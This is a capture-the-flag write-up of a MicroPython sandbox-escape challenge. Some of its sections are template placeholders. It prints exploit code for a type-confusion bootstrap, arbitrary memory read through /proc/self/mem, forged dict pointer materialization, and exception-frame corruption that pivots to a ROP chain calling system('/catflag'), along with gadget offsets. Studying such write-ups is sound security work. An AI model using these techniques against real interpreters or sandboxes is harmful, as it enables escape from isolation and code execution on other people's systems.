← Back to Writeups
HTBN/APwn

micromicromicropython

XESXOR8/23/20264 min read
#pwn#htb#n/a

micromicromicropython

Platform: B01Lersctf | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-20 | Status: Solved Techniques: arbitrary_read_via_proc_mem, arbitrary_write_via_vfs, exception_pivot_to_rop, fake_dict_materialization, nlr_frame_corruption, type_confusion_via_super

Summary

Task: MicroPython v1.27.0 sandbox with os module disabled, execute /catflag binary. Solution: Bootstrap hidden VFS primitives via type confusion, achieve arbitrary read via /proc/self/mem, materialize raw pointers as Python objects via forged dict tables, corrupt NLR exception frame to pivot to ROP chain calling system('/catflag').

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: b01lersCTF | ID: 20260420_b01lersc_micromicromicropython
  • Tags: sandbox_escape, type_confusion, vm_escape, micropython, proc_self_mem, vfs, nlr, exception_handling
  • Indicators: MicroPython minimal build with disabled modules, super() type confusion possible, /proc/self/mem readable, VFS primitives exist but hidden, NLR exception mechanism exploitable
  • Source: 20260420_b01lersc_micromicromicropython.md

Foothold

Vulnerability / Misconfiguration

  1. Arbitrary_read_via_proc_mem
  2. Arbitrary_write_via_vfs
  3. Exception_pivot_to_rop
  4. Fake_dict_materialization
  5. Nlr_frame_corruption
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • arbitrary_read_via_proc_mem
  • arbitrary_write_via_vfs
  • exception_pivot_to_rop
  • fake_dict_materialization
  • nlr_frame_corruption
  • type_confusion_via_super
  • Tags: sandbox_escape, type_confusion, vm_escape, micropython, proc_self_mem, vfs, nlr, exception_handling

Original Writeup

<details><summary>Click to expand original content</summary>

Description

MicroPython sandbox challenge. Remote runs MicroPython v1.27.0 minimal variant with os module patched out. Goal: execute /catflag to get the flag.

The challenge presented a restricted MicroPython REPL where standard modules like os, ffi, uctypes, gc were unavailable. The process ran as uid 1000 with seccomp enabled and NoNewPrivs. The /catflag binary had mode 0111 (execute-only).

Analysis

Sandbox Reconnaissance

Initial probing revealed:

  • MicroPython v1.27.0 minimal build
  • import sys and import builtins work
  • os, ffi, uctypes, gc, array, struct all fail
  • Process runs with seccomp, no capabilities
  • Filesystem is read-only overlay

Key insight: While os module was disabled via MICROPY_PY_OS, the underlying VFS (Virtual File System) primitives still existed in the binary - just not exposed to Python namespace.

Type Confusion Bootstrap

MicroPython's super() mechanism combined with slot manipulation enabled access to hidden internal objects:

X = type("X", (dict,), {})
super(X, X).__init__(staticmethod(lambda: 0))
T = super(X, X).copy()

class W(list):
    def __init__(self, tgt, *args):
        self = tgt  # Type confusion
        super().__init__(*args)

try:
    W(T, "Y", (type,), {"poke": W.__init__})
except: pass

o = __import__("sys").implementation
c = {}
c.poke(c, {})

# Iterate fake dict over sys.implementation to find hidden VFS
it = iter(c.items(o))
for _ in range(10): next(it)
Dv = next(it)[1]  # VfsPosix locals dict

it = iter(c.items(o))
for _ in range(26): next(it)
Dr = next(it)[1]  # rawfile locals dict

This yielded hidden methods: openf, readf, seekf, writef, closef, statf, listdirf.

Arbitrary Read via /proc/self/mem

With VFS primitives, /proc/self/mem provided arbitrary memory read:

mem = openf([], b'/proc/self/mem', 'rb')
seekf(mem, target_address)
data = readf(mem, size)

Used to dump MicroPython binary and musl libc, recovering key offsets.

Raw Pointer Materialization

Forged dict table entries to materialize arbitrary raw pointers as Python objects:

TB = (0,0,0,0,0,0,0,0)  # Fake mp_map_elem_t table
M = {0: 0}              # Real dict to corrupt
WTB = (None, TB, None, None) + (None,)*60
WM = (None, M, None, False) + (None,)*60

# Write target pointer into TB
p = b"/" + b"A"*18 + target_ptr.to_bytes(8, "little")[:6]
openf(WTB, p, "r")

# Patch M.table to point to TB+24
p = b"/" + b"A"*10 + (id(TB)+16).to_bytes(8, "little")[:6]
openf(WM, p, "r")

# Materialize
it = iter(M.items())
OBJ = next(it)[1]  # Raw pointer as Python object

Write Primitive Constraints

The write primitive via openf(W, path, 'r') always wrote / (0x2f) as first byte. Gadgets with low byte 0x2f were identified:

  • pop rdi; ret at musl+0x44a2f
  • syscall; ret at musl+0x43d2f
  • add rsp, 8; ret at musl+0x5142f

NLR Exception Pivot

MicroPython helper at offset 0x842f: xor eax,eax; mov [nlr_top], rdi; ret

This allowed setting the global NLR (exception handler) pointer to a fake frame.

Solution

Final exploit flow:

  1. Bootstrap hidden VFS primitives via type confusion
  2. Read /proc/self/maps to get musl and micropython base addresses
  3. Find heap-resident builtin_fixed_1 function object (closef)
  4. Materialize it as Python object via forged dict
  5. Patch its function pointer to helper at micropython+0x842f
  6. Create fake NLR frame with controlled RSP/RIP
  7. Call patched function with fake frame address
  8. Trigger 1/0 exception
  9. Exception unwinds through fake frame, pivots to ROP chain
  10. ROP calls system("/catflag")

Key offsets:

  • MicroPython helper: 0x842f
  • musl pop rdi; ret: 0x44a2f
  • musl add rsp, 8; ret: 0x5142f
  • musl system: 0x5c5b6
# Fake NLR frame layout
A = bytearray(256)
A_addr = id(A) + 32

# saved RSP -> A+0x80, saved RIP -> pop_rdi_ret
# Stack: ["/catflag" ptr] [skip gadget] [poison] [system]

F1(A_addr)  # Set nlr_top to fake frame
1/0         # Trigger exception -> unwind -> ROP -> system("/catflag")
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR